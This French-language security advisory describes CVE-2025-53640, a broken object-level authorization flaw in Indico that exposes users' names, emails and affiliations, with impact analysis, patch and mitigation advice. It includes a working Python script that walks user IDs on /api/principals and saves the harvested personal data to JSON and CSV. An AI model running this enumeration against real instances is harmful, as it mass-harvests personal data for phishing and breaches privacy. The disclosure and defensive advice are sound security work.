
L'autorisation de niveau d'objet brisée (BOLA) dans Indico du CERN conduit à l'énumération des utilisateurs authentifiés.
Preuve de concept (PoC) et analyse technique de CVE-2025-53640 : une vulnérabilité de type Broken Object Level Authorization (BOLA) dans Indico permet l'énumération d'utilisateurs authentifiés via un endpoint, exposant noms, e-mails et affiliations. Inclut un script d'exploitation, une analyse des requêtes et des captures d'écran. Affecte les instances Indico déployées mondialement (European Organization for Nuclear Research (CERN), United Nations (ONU), Massachusetts Institute of Technology (MIT), European Space Agency (ESA), entre autres).
Une vulnérabilité de type Broken Object Level Authorization (BOLA) dans l'application open-source Indico permet l'énumération massive d'utilisateurs via l'endpoint.
Initialement conçu pour résoudre les identifiants utilisateur dans des champs de formulaire spécifiques, cet endpoint peut être détourné pour récupérer les informations personnelles de n'importe quel ID utilisateur valide :
Nom complet
Adresse e-mail
Titre
Affiliation
URL de l'avatar
La vulnérabilité a été signalée et reconnue par les mainteneurs d'Indico, et est officiellement suivie sous la référence CVE-2025-53640
Une session authentifiée valide est requise.
Cependant, la plupart des instances publiques d'Indico autorisent l'auto-inscription sans vérification d'e-mail, CAPTCHA ou approbation manuelle.
Cela rend la vulnérabilité pratiquement exploitable par des utilisateurs non authentifiés après une création de compte triviale.
Indico est une plateforme de gestion d'événements et de conférences largement adoptée, développée par le CERN (European Organization for Nuclear Research), alimentant l'infrastructure académique et institutionnelle à l'échelle mondiale :
CERN (European Organization for Nuclear Research) : Plus de 900 000 événements par an ; plus de 200 salles réservées chaque jour.
Monde : Environ 145 000 événements/an dans plus de 300 institutions.
ONU (United Nations) : Plus de 180 000 participants/an.
UNOG (Office des Nations Unies à Genève) : Jusqu'à 700 000 utilisateurs/an.
Largement utilisé par les universités, laboratoires, instituts de recherche et agences gouvernementales.
Exemples d'instances publiques affectées :
En raison de son adoption généralisée dans les environnements scientifiques, académiques et gouvernementaux, cette vulnérabilité présente des risques sérieux :
Fuite d'identité des chercheurs, du personnel et des administrateurs
Violations massives de la vie privée et exposition d'annuaires institutionnels
Reconnaissance ciblée pour le phishing ou l'ingénierie sociale
Compromission potentielle d'initiatives sensibles de recherche et de politiques
Divulgation de données personnelles (PII)
Énumération des utilisateurs à privilèges élevés (admins, organisateurs)
Facilite les opérations de phishing de masse et de spear-phishing
Viole les réglementations telles que le RGPD, la LGPD et les politiques institutionnelles internes
Peut constituer une violation signalable selon la juridiction
Le problème a été corrigé dans Indico v3.3.7.
Selon les mainteneurs, le comportement de l'endpoint a été ajusté pour empêcher l'extraction en masse des données utilisateur (nom, affiliation et e-mail) via des ID prévisibles. Un nouveau drapeau de configuration ALLOW_PUBLIC_USER_SEARCH a également été introduit.
Les mesures d'atténuation supplémentaires incluent :
Restreindre les vérifications des e-mails d'inscription
Désactiver la résolution des liens de personne lorsque la recherche publique est désactivée
Ajouter des avertissements dans l'interface pour les événements sans ACL lorsque la recherche est restreinte
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
Restreindre l'accès à l'endpoint en fonction du rôle ou du contexte
Définir ALLOW_PUBLIC_USER_SEARCH = false dans indico.conf
Limiter les champs utilisateur exposés à ceux strictement nécessaires
Désactiver ou restreindre l'auto-inscription (par exemple, vérification d'e-mail, approbation par l'admin)
Activer la surveillance et le limiteur de débit sur l'endpoint
Mettre à jour immédiatement vers Indico 3.3.7 ou une version ultérieure
Surveiller les journaux d'accès pour détecter des schémas d'énumération
ID officiel : CVE-2025-53640
Cette vulnérabilité a été découverte lors d'une évaluation de sécurité menée dans le cadre du Programme de résidence en équipe rouge à RNP (Rede Nacional de Ensino e Pesquisa – Brésil).
Toutes les recherches et tests ont été effectués avec autorisation et supervision préalables. Un remerciement spécial à l'équipe de sécurité de RNP pour ses conseils éthiques et son soutien infrastructurel.
Cette CVE souligne l'importance de faire respecter un contrôle d'accès strict au niveau des objets dans les plateformes qui gèrent des données institutionnelles sensibles.